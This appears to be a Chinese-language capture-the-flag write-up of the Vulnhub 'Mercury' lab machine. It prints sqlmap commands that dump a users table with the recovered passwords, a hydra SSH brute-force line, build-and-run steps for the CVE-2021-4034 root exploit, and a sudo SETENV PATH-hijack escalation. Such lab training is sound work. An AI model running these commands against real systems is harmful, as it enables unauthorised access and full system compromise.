Vulnhub靶机The Planets:Mercury渗透测试详解
- Vulnhub靶机介绍:
- Vulnhub靶机下载:
- Vulnhub靶机安装:
- Vulnhub靶机漏洞详解:
- ①:信息收集:
- ②:漏洞发现:
- ③:SSH登入:
- ④:CVE-2021-4034漏洞提权:
- ⑤:获取FALG:
- ⑥:Sudo+SETENV(环境变量)提权(第二种提权方法):
- Vulnhub靶机渗透总结:
Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
这是一个漏洞靶机,老样子需要找到flag即可。
Vulnhub靶机下载:
官方下载:https://download.vulnhub.com/theplanets/Mercury.ova
Vulnhub靶机安装:
下载好了把安装包解压 然后使用Oracle VM
打开即可。
Vulnhub靶机漏洞详解:
①:信息收集:
kali
里使用arp-scan -l
或者netdiscover
发现主机
渗透机:kali IP :192.168.0.105 靶机IP :192.168.0.103
使用命令:
nmap -sS -sV -A -n -p- 192.168.0.103
开启了22
和8080
端口老样子先访问,说还在开发中直接扫后台dirsearch
扫到了一个robots.txt
进行访问,得到三个路径分别访问!
②:漏洞发现:
这里点进去我们可以发现存在1
可能存在SQL
注入漏洞 直接使用sqlmap
测一下 发现可以
sqlmap -u "http://192.168.0.103:8080/mercuryfacts/2" --dbs --batch #发现数据库
sqlmap -u "http://192.168.0.103:8080/mercuryfacts/2" -D mercury --tables --batch #爆破数据表
sqlmap -u "http://192.168.0.103:8080/mercuryfacts/2" -D mercury -T users --dump --batch #获取字段内容
这里得到了几组账号和密码分别进行尝试最后一个就是SSH
账号密码尝试登入,登入成功!!!
johnny1987 john
lovemykids111 laura
lovemybeer111 sam
mercuryisthesizeof0.056Earths webmaster
hydra -l webmaster -P user.txt ssh://192.168.0.103 #可以尝试九头蛇进行爆破
③:SSH登入:
SSH
私钥验证登入,获取第一个FLAG
接下来就是提取了。
在~
下面发现了一个notes.txt
文件查看有一串Base64
编码解码得:mercurymeandiameteris4880km
切换linuxmaster
用户 使用命令:find / -perm -4000 -type f 2>/dev/null
④:CVE-2021-4034漏洞提权:
git clone https://github.com/berdav/CVE-2021-4034 #如果下载不了就本机下,然后拖带kaili里面
mack #会生成一个/cve-2021-4034
./cve-2021-4034 #运行即是root权限
这里可麻烦了我搞了半天 先是本机git
访问不到github
然后下载kali
拖进去
因为靶机里面是没有unzip
得所以要将所有文件打包tar
才行 然后开启apache2
服务 使用wget
进行下载
为了更好得查看先建个目录不然解压出来很乱 然后执行make
进行编译 在运行/cve-2021-4034
即可。
PS:因为这个漏洞很吊 我本地kali运行也可以提权 当时搞错了本机找了半天flag文件没找到(原谅我得无知尴尬,哈哈哈)
⑤:获取FALG:
⑥:Sudo+SETENV(环境变量)提权(第二种提权方法):
没办法追求完美 所有要做一下第二种方法!
sudo -l
查看一下 可以执行root
权限得sudo
命令
原理:sudo
运行时默认会启用env_reset
选项将从命令行设置的环境变量复原,因此通常情况下,当使用sudo
命令时,通过本地修改环境变量也没法替换目标文件来进行提权,但如果sudo在配置时为用户设置了SETENV
选项情况就不一样了SETENV
会允许用户禁用env_reset
选项,允许sudo
使用当前用户命令行中设置的环境变量
echo "/bin/bash" > tail #从/bin目录复制一个vim,并命名为tail存在/tmp目录下
chmod 777 tail #给个权限
export PATH=.:$PATH #将/tmp目录放置在PATH环境变量的最前面
sudo --preserve-env=PATH /usr/bin/check_syslog.sh #伪造的tail命令,从而用vim进行提权
至此至此获取到了flag,本篇文章渗透结束 感谢大家的观看!!
Vulnhub靶机渗透总结:
这个靶机难度中等吧
1.信息收集arp-scan -l
获取ip地址 和端口信息 web
扫描工具:nikto,dirb,dirbuster,whatweb,ffuf
等 查看F12
源码信息
2.sqlmap
基本使用这里就不讲了DC3
有写或者别的文章也有讲,ssh-keygen
得登入!
3.CVE-2021-4034
漏洞得利用(漏洞很强大!)
4.Sudo+SETENV
(环境变量)提权得学习!
The Planets
系列得第一个靶机,学习到了很多知识点又是收获满满的一天(耶耶耶!)
最后创作不易,希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!